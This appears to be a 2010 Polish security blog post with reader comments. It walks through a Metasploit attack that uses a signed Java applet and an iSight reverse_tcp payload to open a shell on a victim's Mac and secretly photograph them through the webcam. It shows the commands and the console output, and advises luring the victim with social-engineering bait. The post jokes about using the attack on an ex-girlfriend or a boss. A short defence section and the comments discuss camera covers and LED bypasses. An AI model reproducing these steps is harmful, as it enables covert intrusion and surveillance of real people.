12:46
27/5/2010

Brzmi sensacyjnie, ale tak naprawdę nie różni się niczym od większości ataków informatycznych — po przejęciu kontroli nad komputerem użytkownika, zamiast instalować mu trojana, po prostu podepniemy się pod webcama. Atak jest jak najbardziej do wykrycia i wymaga nakłonienia ofiary do odwiedzenia strony WWW, ale jak pokazujemy poniżej, nie jest to trudne.

Metasploit

Atak pokażemy na przykładzie Metasploita. O samym metasploicie pisaliśmy już wielokrotnie, np. przy okazji ataków na serwery czasu, czy opisu Metasploitable, specjalnej maszyny wirtualnej przygotowanej do testowania ataków sieciowych. Jeśli jeszcze nie korzystałeś z metasploita, zacznij od 7h szkolenia ;)

Scenariusz ataku

Scenariusz ataku jest następujący: uruchomiamy serwer WWW i wrzucamy na niego stronę z odpowiednio przygotowanym apletem Javy. Aby obejść restrykcje narzucane przez system, warto by był on podpisany. Podstawiony aplet na komputerze ofiary uruchomi kod, który umożliwi nam podpięcie się do kamerki i pstryknięcie fotki.

Wybierając Javę jako punkt wejścia do systemu ofiary podnosimy sobie odrobinę poprzeczkę. Zanim wystartuje nasz exploit, ofiara zobaczy komunikat, że do uruchomienia tego obiektu potrzebne jest wystartowanie Javy. Będzie musiała go zatwierdzić.

Czy aplet zostanie odpalony? To zależy od świadomości informatycznej ofiary i tego, jak przedstawimy jej nasz aplet. Jeśli ofiara lubi komiksy, spróbujmy ją przekonać, że ten aplet pokazuje wydany w 1970 roku komiks pt. “Czterej pancerni i pies”, czyli prawdziwy biały kruk wśród komiksów. Jeśli woli samochody, prototyp nowego Audi zasilanego prądem może okazać się lepszym wabikiem.

Kiedy aplet zostanie uruchomiony, odpali się także nasz exploit, który zestawi zwrotne połączenie do naszej maszyny, podepnie się pod kamerkę, pstryknie fotkę i zamknie połączenie do komputera ofiary.

Przebieg ataku, krok po kroku

Odpal msfconsole i skorzystaj z exploita multi/browser/java_signed_applet.

msf > use exploit/multi/browser/java_signed_applet

Wybierzmy payload, czyli kod, który wykona exploit po uzyskaniu dostępu do systemu ofiary. My skorzystamy z payloadu wymierzonego w kamerkę iSight spotykaną w laptopach Apple.

msf exploit(java_signed_applet) > set payload osx/x86/isight/reverse_tcp
payload => osx/x86/isight/reverse_tcp

Po wybraniu exploita lub payloadu warto wydać komendę info. Dzięki niej dowiemy się jakie zmienne możemy (lub musimy) ustawić, aby przeprowadzić atak:

Pod zmienną lhost kryje się adres IP na który zostanie przesłane zdjęcie (ustawiamy nasz). Nie ustawimy za to srvhost, zdając się na wartość domyślną. Zera oznaczają, że jako webserver wykorzystana zostanie maszyna na której zainstalowany jest metasploit (niekoniecznie musi to być komputer, z którego korzysta atakujący).

msf exploit(java_signed_applet) > set lhost 192.168.1.15
lhost => 192.168.1.15
msf exploit(java_signed_applet) > set target 3
target => 3

Pora na odpalenie exploita:

msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8080/SadnMll
[*] Local IP: http://192.168.1.15:8080/SadnMll
[*] Server started.
msf exploit(java_signed_applet) >

…i czekamy, aż ofiara (192.168.1.55) połączy się z naszym webserwerem. Aby ją do tego nakłonić korzystamy z socjotechniki. Skoro udało się z pracownikiem Google, to dlaczego nie uda się z ex-dziewczyną, albo szefem? :-)

[*] Handling request from 192.168.1.55:51012...
[*] Generated executable to drop (20800 bytes).
[*] Using static, signed jar. Ready to send.
[*] Sending SiteLoader.jar to 192.168.1.55:51019. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to 192.168.1.55:51020. Waiting for user to click 'accept'...
[*] Sending stage (421 bytes) to 192.168.1.55
[*] Sleeping before handling stage...
[*] Uploading bundle (29548 bytes)...
[*] Upload completed.
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.55:51024)
[*] Downloading photo...
[*] Downloading photo (10089 bytes)...
[*] Photo saved as /Users/vic/.msf3/logs/isight/192.168.1.55_20100527.345500113.jpg
[*] Opening photo in a web browser...
[*] Command shell session 1 closed.

Podczas robienia zdjęcia, dioda przy webcamie na chwilę się zaświeci. Ale jak pokazuje przypadek administratora podglądającego uczniów poprzez szkolne laptopy — diodę można wyłączyć.

Jak się bronić?

Jak widać, jedyną ochroną użytkownika jest jego świadomość bezpieczeństwa — a z tym często jest kiepsko. Ja swoim użytkownikom administracyjnie zablokowałem Javę. Ich przeglądarki nie mają więc możliwości odpalania apletów Javy (ani szkodliwych, ani normalnych). Ale w przypadku mojej firmy, Java akurat nie jest potrzebna do prowadzonia biznesu. I domniemywam, że tak zapewnie będzie również w przypadku większości internautów. Co jednak z tymi, którzy z Javy korzystać muszą?

Przeczytaj także:



28 komentarzy

Dodaj komentarz
  1. No cóż, pozostaje zwykły plasterek na kamerę :) dostępny za kilka groszy w każdym kiosku. W wersji de lux lub dla lubiących tzw lans dostępne są plasterki z misiami, puchatkami etc ;)

  2. Świetny post przydal sie 10/10

  3. Ojciec jak kupił laptopa to pierwsze co powiedział to żeby zakleić mu kamerkę :)

    A zamiast plasterka może wystarczy nie instalować sterowników, czy nie?

    Większość laptopów przy kamerze ma diodę która się świeci kiedy kamera jest aktywna. Jaka jest szansa że w przypadku takiego ataku dioda pozostanie wyłączona?

    • @180: to czy zainstalujesz sterowniki, czy nie, nie ma znaczenia, payload w większości przypadków może zrobić wszystko, także zainstalować sterownik ;) Wyłączenie diody zależy od możliwości jakie daje konkretna kamera. W przypadku Mac OS X jest możliwość “oszukania” systemu (dostępu do kamery poza systemowym API), co powoduje, że system nie wie, że kamera jest używana, a zatem nie zapala diody :)

  4. dobrze ze w swojej kamerze mam przeslone przesuwana recznie :) jak to nie pomoze zawsze pozostanie odlaczenie kabla usb :)

  5. Co do tej diody, to ciekaw jestem czy poza OS X są na to sposoby.
    Druga rzecz, to sens wykonywania takiego ataku. Pstryknąć fotkę jakiejś osobie ? Jakby to dawało możliwość ‘nieświadomego’ podglądania ofiary… ;)

    Idę poszukać taśmy klejącej… I potrenować awaryjnego nura pod biurko w razie gdyby dioda zaczęła do mnie złowieszczo mrugać…

  6. siostra ma tak samo kartke + kupa tasmy klejącej :D a jak zanosilem laptopa na gwarancje, to mi sie tak fajnie zapytali “czy tu tez cos sie stalo” xD zapomnialem odkleic

  7. @Piotr Konieczny: jak to jest z tą kamerką w makach? Ostatnio słyszałem że zielona lampka nie jest systemowa tylko sprzętowa, powiązana z układem kamerki i nie da się jej obejść. Coś się zmieniło?

    • @az & @up: na 100% (przynajmniej na macbookach) da się wyłączyć diode podczas korzystania z kamerki. Teraz jestem w drodze na TED i wisze na tel. wiec nie podam linka do kodu, który to robi, ale ten problem opisywano podczas wpadki z monitorowaniem dzieci przez szkolnego administratora w USA, wiec możecie spróbować googlania ;)

  8. Kamerka kamerką. To, że ktoś nas zobaczy bez koszulki raczej nic się nie stanie, a przy bardziej wrażliwych czynach to laptop raczej jest zamknięty. Nie należy zapominać, że większość laptopów ma również wbudowane mikrofony (kiepskie, mało łapią, ale są), co może być nawet bardziej kłopotliwe.

  9. @Ivyl – przez ciebie teraz będę kompa wyłączał… albo przynajmniej hibernował.
    W sumie odpięcie kabla sieciowego też powinno zdać egzamin ;)

  10. Ja zakleiłem kiedyś sobie czarną folią i taśmą – i nic nie widać na czarnym laptopie :) Ale takie pytanko, jeżeli mam diodę do kamerki, to jak ktoś zdalnie chce przechwycić obraz to dioda będzie świecić?

  11. @Ivyl – też sądzę, że przechwycenie mikrofonu może być o wiele gorsze. Wystarczy, że ktoś odpali na naszym kompie jakiś mp3 streaming server i już może nas w każdej chwili podsłuchiwać, nawet przy pomocy winampa…

  12. Hehe, na maki można sobie wyciąć z folii samoprzylepnej Jabłuszko w wersji mini ;-)

  13. @Piotr Konieczny – szukalem szukalem i jedyne co znalazlem to “QuickTime iSight hack”, ale nie dziala na Snow Leo, więc nie wiem czy włącza zieloną lampkę czy nie..

  14. a wyłączenie mikrofonu, kamerki choć trochę zabezpieczy nas? (przynajmniej zwykłe programy programy wtedy nie widzą kamerki itd), ale łatwo ją włączyć? i mikrofon?

  15. @fvfdhjjjjjjj
    Usuń sterowniki. Na pewno będzie to pewne utrudnienie.
    100% pewności? Rozbierz obudowę i “odłącz” mikrofon. Wbudowane zazwyczaj nie nadają się do wygodnego prowadzenia rozmów. Kamerkę można spokojnie zakleić w sposób nie psujący estetyki.

  16. Każdy się zabezpiecza jak moze ;P
    http://i.imgur.com/2IzmB.jpg

  17. mój hel80 ma zasuwkę na kamerkę wiec mi to nie straszne, ciekawe czy oprogramowanie np. Zemana Antilogger który wg. producentów ma opcje blokowania przechwytywania obrazu z kamerki zadziała i ochroni przed podglądaniem.

  18. Metoda podana powyżej działa tylko na OSX ;/

    jest coś pod win?

  19. […] Metasploicie pisaliśmy na łamach Niebezpiecznika już wielokrotnie (por. np. zdalne wykradanie zdjęć z kamer). Poniżej znajdziecie zapis Webcasta przedstawiającego rozwiązanie Metasploit Express, które […]

  20. Prawde mówiąc, po zakupie lapka pierwsze co zrobiłem (po wywaleniu Visty ;D ) było zaklejenie kamerki. Jakos zawsze miałem dziwne wrażenie żę ktoś się na mnie gapi ;]
    Mikrofonu wbudowanego nie mam, chyba pierwszy raz znalazłem plus dla tego faktu ;D

  21. W 2007 roku w Windows Vista był bug który umożliwiał podsłuch z podłączonego mikrofonu. Podejrzewam że w Windows 7 raczej też nie jest to już możliwe. (przynajmniej nie tą metodą).

  22. U mnie w EEE jest kamerka z lampką. Pod EEEBuntu, jak się korzysta z kamerki, to świeci zielona dioda, ale pod Debianem już nie. Czyli pewnie kwestia drivera.

  23. Hehe najlepiej to miec zwyklego kompa a nie lapka :P Normalny komp nie ma mikrofonów nie ma kamerek i GITARA :P

  24. PS: kolejny powód dla ktorego uzywam normalnego kompa to też kwestie naprawy. mozna wszystko w nim naprawić w2 godziny na miejscu w naprawie :P a laptopa potrafia trzymac wiele dni. I sam w lapku tez nie powymieniasz co ci pasuje…

  25. A mnie ciekawi czy jesli do takiego ataku juz doszlo to czy mamy mozliwosc, jestesmy w stanie sprawdzic czy taki atak mial miejsce? Czy nasza kamerka w laptopie byla uzywana zdalnie? Czy zostaly z niej przeslane jakies nagrania lub zdjecia? Ja na szczescie mam kamerke przyslaniana fabrycznie, jednak jestem ciekawy. pozdrawiam

  26. Ech, szkoda, że nie ma nigdzie porad, co zrobić jeśli ktoś szpieguje. Mam akurat taki problem. :/ Gdy się zorientowałam wyłączyłam kamerę w systemie (teraz mam zawsze zaklejoną), z mikrofonem poszło trudniej. Tylko nie wiem, czy to rzeczywiście nie działają. Wiem, ze z drugiej strony ktoś jest, bo słyszę szum, głosy i czasami muzykę. Tylko co teraz, w necie to same wyśmiewanie, ze to paranoja. :/

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: